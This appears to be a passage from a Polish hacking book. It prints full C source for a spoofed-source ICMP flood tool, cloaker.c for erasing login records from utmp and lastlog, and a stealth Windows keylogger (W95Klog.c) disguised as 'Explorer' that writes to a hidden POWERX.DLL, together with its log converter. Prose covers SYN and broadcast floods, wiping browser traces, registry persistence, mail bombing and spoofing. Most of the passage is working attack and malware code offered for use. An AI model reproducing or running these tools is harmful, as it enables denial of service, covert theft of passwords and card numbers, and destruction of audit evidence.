#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <netinet/ip_icmp.h>

#define IPHDRSIZE sizeof(struct iphdr)

#define ICMPHDRSIZE sizeof(struct icmphdr)

#define VIRGIN "1.1"

void version(void) {

printf("flood %s - by FA-Q\n", VIRGIN);

}

void usage(const char *progname)

{

printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target>
* <broadcast>\n",progname);

}

unsigned char *dest_name;

unsigned char *spoof_name = NULL;

struct sockaddr_in destaddr, spoofaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned pingsize, pingsleep, pingnmbr;

char flood = 0;

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

int resolve( const char *name, struct sockaddr_in *addr, int port )

{

struct hostent *host;

bzero((char *)addr,sizeof(struct sockaddr_in));

if (( host = gethostbyname(name) ) == NULL ) {

fprintf(stderr,"%s will not resolve\n",name);

perror(""); return -1;

}

addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

addr->sin_port = htons(port);

return 0;

}

unsigned long addr_to_ulong(struct sockaddr_in *addr)

{

return addr->sin_addr.s_addr;

}

int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("%s will not resolve\n",desc);

return -1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

int resolve_all(const char *dest,

const char *spoof)

{

if (resolve_one(dest,&dest_addr,"dest address")) return -1;

if (spoof!=NULL)

if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;

spoofaddr.sin_addr.s_addr = spoof_addr;

spoofaddr.sin_family = AF_INET;

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

}

void give_info(void)

{

printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);

}

int parse_args(int argc, char *argv[])

{

int opt;

char *endptr;

while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {

switch(opt) {

case 'f': flood = 1; break;

case 'c': pingnmbr = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is an invalid number '%s'.\n", argv[0], optarg);

return -1;

}

break;

case 's': pingsize = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad packet size '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'i': pingsleep = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad wait time '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'V': version(); break;

case '?':

case ':': return -1; break;

}

}

if (optind > argc-2) {

return -1;

}

if (!pingsize)

pingsize = 28;

else

pingsize = pingsize - 36 ;

if (!pingsleep)

pingsleep = 100;

spoof_name = argv[optind++];

dest_name = argv[optind++];

return 0;

}

inline int icmp_echo_send(int socket,

unsigned long spoof_addr,

unsigned long t_addr,

unsigned pingsize)

{

unsigned char packet[5122];

struct iphdr *ip;

struct icmphdr *icmp;

struct iphdr *origip;

unsigned char *data;

int i;

ip = (struct iphdr *)packet;

icmp = (struct icmphdr *)(packet+IPHDRSIZE);

origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

memset(packet, 0, 5122);

ip->version = 4;

ip->ihl = 5;

ip->ttl = 255-random()%15;

ip->protocol = IPPROTO_ICMP;

ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check = in_cksum(packet,IPHDRSIZE);

origip->version = 4;

origip->ihl = 5;

origip->ttl = ip->ttl - random()%15;

origip->protocol = IPPROTO_TCP;

origip->tot_len = IPHDRSIZE + 30;

origip->id = random()%69;

bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

origip->check = in_cksum(origip,IPHDRSIZE);

*((unsigned int *)data) = htons(pingsize);

icmp->type = 8; /* a dlaczego 3? */

icmp->code = 0;

icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

(struct sockaddr *)&destaddr,sizeof(struct sockaddr));

}

void main(int argc, char *argv[])

{

int s, i;

int floodloop;

if (parse_args(argc,argv))

{

usage(argv[0]);

return;

}

resolve_all(dest_name, spoof_name);

give_info();

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (!flood)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

}

else

{

floodloop = 0;

if ( pingnmbr && (pingnmbr > 0) )

{

printf("sending... packet limit set\n");

for (i=0;i<pingnmbr;i++)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep((pingsleep*1000));

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

printf("\ncomplete, %u packets sent\n", pingnmbr);

}

else {

printf("flooding, (. == 25 packets)\n");

for (i=0;i<1;i)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep(900);

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

}

}

}

Współczesne techniki przeciążania uwzględniają również zacieranie śladów ataku. Przykładem może być napisany przez guru Zakatha synflood.c. Źródłowe adresy IP są tutaj generowane losowo. Korzystanie z narzędzia jest proste: srcaddr to podrabiany, źródłowy adres IP, dstaddr to adres komputera docelowego, low i high to porty, do których przesyłamy pakiety. Opcja O umożliwia skorzystanie z trybu losowego dobierania źródłowych adresów IP.

Z drugiej strony stosu protokołów mechanizm przeciążania UDP reprezentować może atak rozgłoszeniowy na system pod kontrolą Windows NT (charakterystyczną cechą pakietów rozgłoszeniowych jest ich rozsyłanie do wszystkich stacji w danej podsieci). Jego przeprowadzenie umożliwia program pepsi, przedstawiony na rysunku 7.4. Rozgłoszenia mogą być realizowane w warstwie łącza danych lub w warstwie sieciowej. Rozgłoszenia warstwy łącza rozsyłane są do wszystkich stacji w danej sieci fizycznej, rozgłoszenia warstwy sieciowej rozsyłane są do wszystkich stacji podsieci TCP/IP.

Program Pepsi wykorzystuje mechanizm systemu NT, nakazujący odpowiadanie na segmenty UDP wysłane na adres rozgłaszania danej podsieci. Na jeden segment UDP wysłany na adres rozgłaszania odpowie więc każdy komputer NT w sieci. Już sama ilość


Rysunek 7.4. Program przeciążeniowy UDP — Pepsi

takich odpowiedzi może spowodować istotne przeciążenie — „burzę rozgłoszeń” (broadcast storm). Rozważmy jednak sytuację komputera otrzymującego segment UDP, wysłany na adres rozgłoszeń, którego adresem źródłowym jest adres tego właśnie komputera. Wyobraźmy sobie dodatkowo, że portem, do którego ten segment został wysłany, jest port 19 (usługa chargen). Sieć zostanie zalana niekończącym się strumieniem znaków ASCII.

Zacieranie śladów (log bashing)

Na kolejnych stronach przedstawimy modus operandi mechanizmów modyfikowania dziennika nadzoru (audit trail editing) przy użyciu programów czyszczących, określanych najczęściej nazwami log bashers lub wipers, oraz modyfikowania śladów (track-editing), takich jak tzw. anti-keyloggers.

• Hakerzy modyfikują dziennik nadzoru, aby ukryć ślady swoich operacji dostępu do systemu. Ponieważ większość metod pozwala całkowicie usunąć wszelkie pozostałości po bezprawnych czynnościach w obcym systemie, zapoznanie z tymi metodami jest istotnym czynnikiem ułatwiającym ich późniejsze wykrycie.

• W zwykłych okolicznościach różne osoby mogą samodzielnie wprowadzić użycie programów rejestrujących. Mogą one monitorować na przykład, jak komputer wykorzystują dzieci i co przeglądają w Internecie. Mogą również pomóc w ustaleniu, kto korzysta z komputera pod nieobecność właściciela. Rejestrowane są wówczas wciśnięcia klawiszy i aktywność dysku twardego. Tak samo wykorzystują programy tego typu, nazywane keyloggers, hakerzy. Ich celem jednak jest przechwycenie haseł i numerów kart kredytowych.

• Log bashing pozwala usunąć zarejestrowane informacje o wciśnięciach klawiszy, korzystając z prostych procedur usuwających lub wyłączających korzystanie z określonych plików. Efektem jest ominięcie mechanizmów monitorowania systemu.

Zacieranie śladów aktywności online

Osoby skrycie włamujące się do innych komputerów usuwają zazwyczaj następujące pliki, pozostawiane przez przeglądarkę firmy Netscape:

• /Netscape/Users/default/cookies.txt,

• /Netscape/Users/default/netscape.hst,

• /Netscape/Users/default/prefs.js,

• /Netscape/Users/default/Cache/*.*.

Można usuwać te pliki, nie powodując większych komplikacji. Są jednak pewne witryny WWW (np. www.microsoft.com), które — aby działały pewne funkcje — wymagają nienaruszonych plików „cookies”. Są one wówczas odtwarzane przy kolejnym wywołaniu witryny. Warto również pamiętać, że usunięcie pliku prefs.js jest jednoznaczne z wyczyszczeniem rozwijanej listy adresów URL i utratą wszelkich ustawień preferencji.

W przeciwieństwie do programu firmy Netscape pliki bufora, historii i cookies Microsoft Internet Explorera nie mogą być w systemie Windows łatwo usunięte czy zastąpione, zazwyczaj bowiem system chroni je, jako pozostające w użyciu. W takiej sytuacji haker wprowadza odpowiednie modyfikacje podczas uruchamiania lub zamykania systemu. Pliki „śladów” to:

• /Windows/Tempor~1/index.dat (tymczasowe pliki internetowe),

• /Windows/Cookies/index.dat (cookies),

• /Windows/History/index.dat (historia),

• /win386.swp (plik wymiany).

Dla pełnego bezpieczeństwa hakerzy modyfikują również historię odwiedzonych stron w kluczu Rejestru:

HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/TypedURLs

Innym, ułatwiającym zachowanie prywatności przeglądania Internetu, sposobem jest całkowite wyłączenie bufora, listy historii i plików cookie w Explorerze.

1. Aby wyłączyć folder bufora IE4, należy wykonać nstępujące kroki.

• Z menu Internet Explorera wybieramy Tools (Narzędzia) | Internet options (Opcje Internetowe) | General (Ogólne).

• W części Temporary Internet Files (Tymczasowe pliki internetowe), klikamy Delete files (Usuń pliki).

• Wybieramy menu Start | Shutdown (Zamknij system) i Restart in MS-DOS mode (Uruchom komputer ponownie w trybie MS-DOS).

• W wierszu poleceń przechodzimy do katalogu /Windows/Tempor~1, wprowadzając polecenie cd \windows\tempor~1.

• Wprowadzamy polecenie dir, które powinno wyświetlić na liście zawartości katalogu jeden plik, index.dat.

• Plik zawiera łącza do wszystkich plików, które zapisywane są w katalogu tymczasowych plików internetowych. Nadajemy plikowi atrybut tylko do odczytu:

attrib +r index.dat

5. Aby wyłączyć folder historii stron IE4, wykonamy następujące czynności.

• Z menu Internet Explorera wybieramy Tools (Narzędzia) | Internet options (Opcje Internetowe) | General (Ogólne).

• W części History (Historia) zmieniamy wartość Days to keep pages in history (Liczba dni trzymania stron w historii) na 0.

• Aby usunąć bieżącą zawartość folderów, klikamy przycisk Clear history (Wyczyść historię).

• Wybieramy menu Start | Shutdown (Zamknij system) i Restart in MS-DOS mode (Uruchom komputer ponownie w trybie MS-DOS).

• W wierszu poleceń przechodzimy do katalogu /Windows/History, wprowadzając polecenie cd \windows\history.

• Wprowadzamy polecenie dir, które powinno wyświetlić na liście zawartości katalogu jeden plik, index.dat.

• Plik zawiera łącza do wszystkich plików, które zapisywane są w katalogu tymczasowych plików internetowych. Nadajemy plikowi atrybut tylko do odczytu:

attrib +r index.dat

Polecenia wykorzystywane w tej części rozdziału zostały szczegółowo opisane w rozdziale 5.

Unikanie rejestrowania wciśnięć klawiszy

Aby całkowicie zatrzeć ślady włamania, hakerzy korzystają często z oprogramowania ukrywającego (cloaking software). Ta kategoria programów ma za zadanie wyszukać i zniszczyć dzienniki, pliki rejestrowania zdarzeń, różne inne zapisy i pliki tymczasowe. Przykładem może być cloaker.c, program napisany przez guru Wintermute. Umożliwia on usunięcie wszelkich śladów operacji wykonywanych w systemie UNIX.

Cloaker.c

#include <fcntl.h>

#include <utmp.h>

#include <sys/types.h>

#include <unistd.h>

#include <lastlog.h>

main(argc, argv)

int argc;

char *argv[];

{

char *name;

struct utmp u;

struct lastlog l;

int fd;

int i = 0;

int done = 0;

int size;

if (argc != 1) {

if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {

printf("You are now cloaked\n");

goto start;

}

else {

printf("close successful\n");

exit(0);

}

}

else {

printf("usage: close [file to close]\n");

exit(1);

}

start:

name = (char *)(ttyname(0)+5);

size = sizeof(struct utmp);

fd = open("/etc/utmp", O_RDWR);

if (fd < 0)

perror("/etc/utmp");

else {

while ((read(fd, &u, size) == size) && !done) {

if (!strcmp(u.ut_line, name)) {

done = 1;

memset(&u, 0, size);

lseek(fd, -1*size, SEEK_CUR);

write(fd, &u, size);

close(fd);

}

}

}

size = sizeof(struct lastlog);

fd = open("/var/adm/lastlog", O_RDWR);

if (fd < 0)

perror("/var/adm/lastlog");

else {

lseek(fd, size*getuid(), SEEK_SET);

read(fd, &l, size);

l.ll_time = 0;

strncpy(l.ll_line, "ttyq2 ", 5);

gethostname(l.ll_host, 16);

lseek(fd, size*getuid(), SEEK_SET);

close(fd);

}

}

Warto pamiętać, że skuteczny, ukryty rejestrator w systemie Windows będzie wykorzystywał m.in. fakt, że wszystkie programy użytkownika korzystają z tej samej tabeli deskryptorów przerwań (IDT, interrupt descriptor table). Oznacza to, że jeżeli jeden program zmieni wektor w IDT, ma to wpływ na wszystkie inne. Najlepszym przykładem wykorzystania tej cechy jest program entuzjasty zabezpieczeń, markj8, poprawiony następnie przez guru mindgame.

Wykorzystana technika polega na utworzeniu ukrytego pliku w katalogu \WINDOWS\ SYSTEM o nazwie POWERX.DLL i rejestrowaniu w nim wszystkich wciśnięć klawiszy przy użyciu schematu kodowania znanego z rejestratora Doc Cypher'a dla DOS-u, KEYTRAP3.COM. Pozwala to zarazem korzystać z tego samego programu konwertującego, CONVERT3.C, w celu przekształcania kodów klawiaturowych (scancodes) do postaci pliku ASCII. Jeżeli w chwili uruchomienia programu plik dziennika przekracza rozmiar 2 MB, zostanie on usunięty i ponownie utworzony, po czym dziennik będzie generowany „od zera”. Jeżeli wciśniemy w Windows 9x kombinację CTRL+ ALT+DEL, program W95Klog zostanie wyświetlony pod nazwą Explorer. Można tę nazwę zmodyfikować za pomocą dowolnego edytora szesnastkowego albo też zmieniając wartości w pliku .DEF i rekompilując program.

Aby system docelowy ładował program W95Klog wraz z każdym uruchomieniem Windows, można wykonać poniższe czynności.

• Wprowadzić modyfikację w pliku win.ini. Zmieniamy sekcję [windows], wprowadzając wiersz run=WHLPFFS.EXE (można podać inną, równie poważną nazwę). Wywołuje to nieprzyjemny komunikat, który informuje, że plik nie może zostać znaleziony. Zaletą takiego rozwiązania jest możliwość wprowadzenia korekty przez sieć, gdy na komputerze docelowym nie jest uruchomiona zdalna obsługa Rejestru.

• Wprowadzić modyfikację w kluczu Rejestru. Sięgamy do klucza HKEY_LOCAL_ MACHINE/Software/Microsoft/Windows/CurrentVersion/Run i tworzymy nową wartość typu ciąg o wartości WHLPFFS.EXE. Jest to najlepsza metoda, bo trudniej usunąć wpis przeciętnemu użytkownikowi, a Windows nie wyświetla żadnego komunikatu, informującego, że plik nie może zostać znaleziony.

Plik dziennika może zostać pobrany przez sieć nawet wtedy, gdy korzysta z niego program rejestrujący. Dla aktywnego hakera jest to duża wygoda.

Przedstawiamy poniżej przykładowy program rejestratora wciśnięć klawiszy.

convert.c

// Convert v3.0

// Konweter pliku dziennika programu keytrap.

// By dcypher

#include

#define MAXKEYS 256

#define WS 128

const char *keys[MAXKEYS];

void main(int argc,char *argv[])

{

FILE *stream1;

FILE *stream2;

unsigned int Ldata,Nconvert=0,Yconvert=0;

char logf_name[100],outf_name[100];

//

// PRZYPISANIA KLAWISZY !!

//

// Można je dowolnie zmienić.

// Jeżeli na liście są błędy, dajcie znać.

// Nie sprawdziłem każdego jednego, ale wyglądają OK.

//

// v--- Kody zarejestrowane przez keytrap TSR

// v--- Zamiana na ciągi

keys[1] = "";

keys[2] = "1";

keys[3] = "2";

keys[4] = "3";

keys[5] = "4";

keys[6] = "5";

keys[7] = "6";

keys[8] = "7";

keys[9] = "8";

keys[10] = "9";

keys[11] = "0";

keys[12] = "-";

keys[13] = "=";

keys[14] = "";

keys[15] = "";

keys[16] = "q";

keys[17] = "w";

keys[18] = "e";

keys[19] = "r";

keys[20] = "t";

keys[21] = "y";

keys[22] = "u";

keys[23] = "i";

keys[24] = "o";

keys[25] = "p";

keys[26] = "["; /* = ^Z (!) */

keys[27] = "]";

keys[28] = "";

keys[29] = "";

keys[30] = "a";

keys[31] = "s";

keys[32] = "d";

keys[33] = "f";

keys[34] = "g";

keys[35] = "h";

keys[36] = "j";

keys[37] = "k";

keys[38] = "l";

keys[39] = ";";

keys[40] = "'";

keys[41] = "`";

keys[42] = ""; // lewy shift - nierejestrowany przez TSR

keys[43] = "\\"; // i niekonwertowany

keys[44] = "z";

keys[45] = "x";

keys[46] = "c";

keys[47] = "v";

keys[48] = "b";

keys[49] = "n";

keys[50] = "m";

keys[51] = ",";

keys[52] = ".";

keys[53] = "/";

keys[54] = ""; // prawy shift - nierejestrowany przez TSR

keys[55] = "*"; // i niekonwertowany

keys[56] = "";

keys[57] = " ";

// teraz z shift-em

// pokazując SHIFT i CAPS, TSR dodaje 128 do kodów klawiatury,

keys[1+WS] = "["; /* było "", ale teraz rozwiązuje problem z ^Z */

keys[2+WS] = "!";

keys[3+WS] = "@";

keys[4+WS] = "#";

keys[5+WS] = "$";

keys[6+WS] = "%";

keys[7+WS] = "^";

keys[8+WS] = "&";

keys[9+WS] = "*";

keys[10+WS] = "(";

keys[11+WS] = ")";

keys[12+WS] = "_";

keys[13+WS] = "+";

keys[14+WS] = "";

keys[15+WS] = "";

keys[16+WS] = "Q";

keys[17+WS] = "W";

keys[18+WS] = "E";

keys[19+WS] = "R";

keys[20+WS] = "T";

keys[21+WS] = "Y";

keys[22+WS] = "U";

keys[23+WS] = "I";

keys[24+WS] = "O";

keys[25+WS] = "P";

keys[26+WS] = "{";

keys[27+WS] = "}";

keys[28+WS] = "";

keys[29+WS] = "";

keys[30+WS] = "A";

keys[31+WS] = "S";

keys[32+WS] = "D";

keys[33+WS] = "F";

keys[34+WS] = "G";

keys[35+WS] = "H";

keys[36+WS] = "J";

keys[37+WS] = "K";

keys[38+WS] = "L";

keys[39+WS] = ":";

keys[40+WS] = "\"";

keys[41+WS] = "~";

keys[42+WS] = ""; // lewy shift - nierejestrowany przez TSR

keys[43+WS] = "|"; // i niekonwertowany

keys[44+WS] = "Z";

keys[45+WS] = "X";

keys[46+WS] = "C";

keys[47+WS] = "V";

keys[48+WS] = "B";

keys[49+WS] = "N";

keys[50+WS] = "M";

keys[51+WS] = "<";

keys[52+WS] = ">";

keys[53+WS] = "?";

keys[54+WS] = ""; // prawy shift - nierejestrowany przez TSR

keys[55+WS] = ""; // i niekonwertowany

keys[56+WS] = "";

keys[57+WS] = " ";

printf("\n");

printf("Convert v3.0\n");

// printf("Konweter pliku dziennika programu keytrap.\n");

// printf("By dcypher \n\n");

printf("Usage: CONVERT infile outfile\n");

printf("\n");

if (argc==3)

{

strcpy(logf_name,argv[1]);

strcpy(outf_name,argv[2]);

}

else

{

printf("Enter infile name: ");

scanf("%99s",&logf_name);

printf("Enter outfile name: ");

scanf("%99s",&outf_name);

printf("\n");

}

stream1=fopen(logf_name,"rb");

stream2=fopen(outf_name,"a+b");

if (stream1==NULL || stream2==NULL)

{

if (stream1==NULL)

printf("Error opening: %s\n\a",logf_name);

else

printf("Error opening: %s\n\a",outf_name);

}

else

{

fseek(stream1,0L,SEEK_SET);

printf("Reading data from: %s\n",logf_name);

printf("Appending information to..: %s\n",outf_name);

while (feof(stream1)==0)

{

Ldata=fgetc(stream1);

if (Ldata>0

&& Ldata<186)

{

if (Ldata==28 || Ldata==28+WS)

{

fputs(keys[Ldata],stream2);

fputc(0x0A,stream2);

fputc(0x0D,stream2);

Yconvert++;

}

else

fputs(keys[Ldata],stream2);

Yconvert++;

}

else

{

fputs("",stream2);

Nconvert++;

}

}

}

fflush(stream2);

printf("\n\n");

printf("Data converted....: %i\n",Yconvert);

printf("Data not converted: %i\n",Nconvert);

printf("\n");

printf("Closeing infile: %s\n",logf_name);

printf("Closeing outfile: %s\n",outf_name);

fclose(stream1);

fclose(stream2);

}

convert.c wymaga W95Klog.c.

W95Klog.c

/*

* W95Klog.C Program cichego rejestrowania klawiszy dla Windows

*/

/*

* Dostosuj newint9() do swojego kompilatora

*

* Przechwytuje wszystkie interesujące nas wciśnięcia klawiszy

* z aplikacji WINDOWS, ale nie z okien DOS-u.

* Testowany na WFW 3.11 i Win9x.

*/

#include // Nagłówki

//#define LOGFILE "~473C96.TMP" //Nazwa pliku dziennika w WINDOWS\TEMP

#define LOGFILE "POWERX.DLL" //Nazwa pliku dziennika w WINDOWS\SYSTEM

#define LOGMAXSIZE 2097152 //Maks rozmiar pliku dziennika (2 MB)

#define HIDDEN 2

#define SEEK_END 2

#define NEWVECT 018h // Przerwanie "Unused", które zostanie

// wykorzystane do wywoływania starej

// procedury obsługi klawiatury int 9

// Wywoływało ROMBASIC na XT

// Można zmienić, jeżeli wywołuje

// konflikt z jakimś bardzo dziwnym

// programem. Np. na 0f9h

/*********** Zmienne globalne w segmencie danych **************/

HWND hwnd; // używane przez newint9()

unsigned int offsetint; // stary offset int 9

unsigned int selectorint; // stary selektor int 9

unsigned char scancode; // kod klawiaturowy

//WndProc

char sLogPath[160];

int hLogFile;

long lLogPos;

char sLogBuf[10];

//WinMain

char szAppName[]="Explorer";

MSG msg;

WNDCLASS wndclass;

/*************************************************************/

//

//__________________________

void interrupt newint9(void) //To jest nowe int 9 (klawiatura)

// Sprzętowa procedura obsługi przerwania. (ISR)

{

scancode=inportb(0x60);

if((scancode<0x40)&&(scancode!=0x2a)) {

if(peekb(0x0040, 0x0017)&0x40) { //jeżeli CAPSLOCK jest aktywny

// Zmieniamy stan GÓRA/DÓŁ tylko dla A-Z! 16-25,30-38,44-50

if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||

((scancode>43)&&(scancode<51))) //Uff!

scancode^=128; //bit 7 sygnalizuje SHIFT dla CONVERT.C

}//jeżeli CAPSLOCK

if(peekb(0x0040, 0x0017)&3) //jeżeli którykolwiek SHIFT jest wciśnięty...

scancode^=128; //bit 7 sygnalizuje SHIFT dla CONVERT.C

if(scancode==26) //Męczący problem z ^Z w convert

scancode=129; //Nowy kod "["

//W przeciwieństwie do innych funkcji Windows, na poziomie

//przerwania sprzętowego aplikacja może wywołać PostMessage.

//(Dzięki dla M$!)

PostMessage(hwnd, WM_USER, scancode, 0L); //Wyślij kod do WndProc()

}//jeżeli jest w zakresie

asm { //bardzo specyficzne dla kompilatora, nieładne!

pop bp

pop di

pop si

pop ds

pop es

pop dx

pop cx

pop bx

pop ax

int NEWVECT // Wywołanie pierwotnej procedury int 9

iret // i powrót

}

}//koniec newint9

// Funkcja "callback", która obsługuje wszystkie wiadomości

// przesłane do naszego "window"

//____________________________________________________________________

long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)

{

//asm int 3; //debugowanie Soft-ice

//asm int 18h; //debugowanie Soft-ice

switch(message) {

case WM_CREATE: // przejęcie przerwania sprzętowego klawiatury

asm {

pusha

push es

push ds

// Teraz pobieramy wektor INT 9 i zapisujemy...

mov al,9

mov ah,35h // do ES:BX

int 21h

push es

pop ax

mov offsetint,bx //zapisujemy stary wektor w segmencie danych

mov selectorint,ax // /

mov dx,OFFSET newint9 // OFFSET w segmencie CODE

push cs

pop ds // Nowy wektor w DS:DX

mov al,9

mov ah,25h

int 21h // Ustawiamy nowy wektor int 9

pop ds // pobieramy segment danych

push ds

// przejmujemy wektor nieużywany

// żeby wywoływać starą procedurę int 9

mov dx,offsetint

mov ax,selectorint

mov ds,ax

mov ah,25h

mov al,NEWVECT

int 21h

// Instalacja skończona

pop ds

pop es

popa

} // koniec asm

//Pobieramy ścieżkę do katalogu WINDOWS

if(GetWindowsDirectory(sLogPath,150)==0) return 0;

//Dołączamy LOGFILE do ścieżki

strcat(sLogPath,"\\SYSTEM\\");

strcat(sLogPath,LOGFILE);

do {

// Sprawdzamy, czy LOGFILE istnieje

hLogFile=_lopen(sLogPath,OF_READ);

if(hLogFile==-1) { // trzeba go utworzyć

hLogFile=_lcreat(sLogPath,HIDDEN);

if(hLogFile==-1) return 0; //jeżeli nie można utworzyć, kończymy

}

_lclose(hLogFile);

// LOGFILE istnieje i jest plikiem ukrytym (powinien)....

hLogFile=_lopen(sLogPath,OF_READWRITE); //Gotowy do użycia!

if(hLogFile==-1) return 0; //jeżeli nie można otworzyć, kończymy

lLogPos=_llseek(hLogFile,0L,SEEK_END); //Wyszukujemy koniec pliku

if(lLogPos==-1) return 0; //Jeżeli nie można wyszukać, kończymy

if(lLogPos>LOGMAXSIZE) { //Żeby jeszcze było miejsce na dysku...

_lclose(hLogFile);

_chmod(sLogPath,1,0);

if(unlink(sLogPath)) return 0; //delete or die

}//jeżeli plik przekracza rozmiar

} while(lLogPos>LOGMAXSIZE);

break;

case WM_USER: // Kod...

*sLogBuf=(char)wParam;

_write(hLogFile,sLogBuf,1);

break;

case WM_ENDSESSION: // Czy Windows jest zamykany ?

case WM_DESTROY: // Ktoś zamyka proces ?

asm{

push dx

push ds

mov dx,offsetint

mov ds,selectorint

mov ax,2509h

int 21h //Odtwórz wektor int 09

pop ds

pop dx

}

_lclose(hLogFile);

PostQuitMessage(0);

return(0);

} //koniec instrukcji switch

//Obsługa komunikatów, które nas nie interesują

return DefWindowProc(hwnd,message,wParam,lParam);

}//koniec WndProc

/**********************************************************/

int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,

LPSTR lpszCmdParam, int nCmdShow)

{

if (!hPrevInstance) { //Jeżeli program nie jest już uruchomiony...

wndclass.style = CS_HREDRAW | CS_VREDRAW;

wndclass.lpfnWndProc = WndProc; //funkcja obsługi komunikatów

//dla wndclass

wndclass.cbClsExtra = 0;

wndclass.cbWndExtra = 0;

wndclass.hInstance = hInstance;

wndclass.hIcon = NULL;

wndclass.hCursor = NULL;

wndclass.hbrBackground = NULL;

wndclass.lpszClassName = szAppName;

RegisterClass (&wndclass);

hwnd = CreateWindow(szAppName, //Utwórz okno

szAppName, //tytuł

WS_OVERLAPPEDWINDOW, //typ okna

CW_USEDEFAULT, //początkowa poz x

CW_USEDEFAULT, //początkowa poz y

CW_USEDEFAULT, //początkowy rozmiar x

CW_USEDEFAULT, //początkowy rozmiar y

NULL, //uchwyt okna nadrzędnego

NULL, //uchwyt menu okna

hInstance, //uchwyt egzemplarza programu

NULL); //opcje

//ShowWindow(hwnd,nCmdShow); //Nie chcemy żadnego

//UpdateWindow(hwnd); //śmierdzącego okna!

while (GetMessage(&msg,NULL,0,0)) {

TranslateMessage(&msg);

DispatchMessage(&msg);

}

}//Jeżeli program nie jest już uruchomiony...

return msg.wParam; //W tym miejscu program kończy po wyjściu z

//pętli while()

} //Koniec WinMain

Bomby pocztowe,
spam i podrabianie korespondencji

Bomby pocztowe to wiadomości email, których celem jest uniemożliwienie funkcjonowania skrzynki pocztowej odbiorcy. Mogą one przyjmować postać pojedynczej wiadomości z dużymi załącznikami lub tysięcy wiadomości, które przeciążają skrzynkę lub serwer. Istnieją programy do generowania dużych ilości wiadomości i przesyłania ich do wskazanej skrzynki pocztowej — efektem jest awaria serwera poczty lub uniemożliwienie korzystania z przepełnionej skrzynki.

Wysyłanie tzw. spamu lub spamowanie (spamming) to kolejna forma nadużycia. Jego celem jest dostarczenie wiadomości elektronicznych do osób, którego nie życzą sobie pewnego rodzaju korespondencji. Najbardziej typowym przykładem jest rozsyłanie reklam. W Internecie można wykupić tego rodzaju usługi od firm dysponujących setkami tysięcy adresów zasypywanych spamem. Sytuacja taka utrzymuje się i do momentu, gdy sprzedawane produkty pozostają legalne, nie można jej w zasadzie zapobiec.

Kolejnym szeroko rozpowszechnionym zjawiskiem jest podrabianie wiadomości pocztowych (email fraud, email spoofing), polegające na wprowadzeniu w pole From (Od) wiadomości fałszywego adresu e-mail (patrz rysunek 7.5) i rozesłaniu w dużej ilości egzemplarzy do różnych odbiorców z instrukcją nakazującą przesłanie odpowiedzi. Wszystkie odpowiedzi trafiają wówczas do skrzynki ofiary. Na tego typu działania zwracają szczególną uwagę usługodawcy Internetu, ponieważ powodowały one niejednokrotnie zakłócenie pracy całych sieci.

Rysunek 7.5. Fałszowanie nagłówków wiadomości pocztowych

Autorzy programów typu email bombers zapewniają często, że korzystanie z ich narzędzi gwarantuje anonimowość prawdziwego nadawcy. Łatwo jednak zorientujemy się, że nie jest to takie proste. Istotnym uzupełnieniem pakietu do rozsyłania bomb pocztowych jest lista serwerów SMTP, które (jak dotąd) nie rejestrują adresów IP. Właśnie dzięki nim funkcjonuje większość programów rozsyłających „niechcianą” pocztę, dostępnych dla platformy Windows.

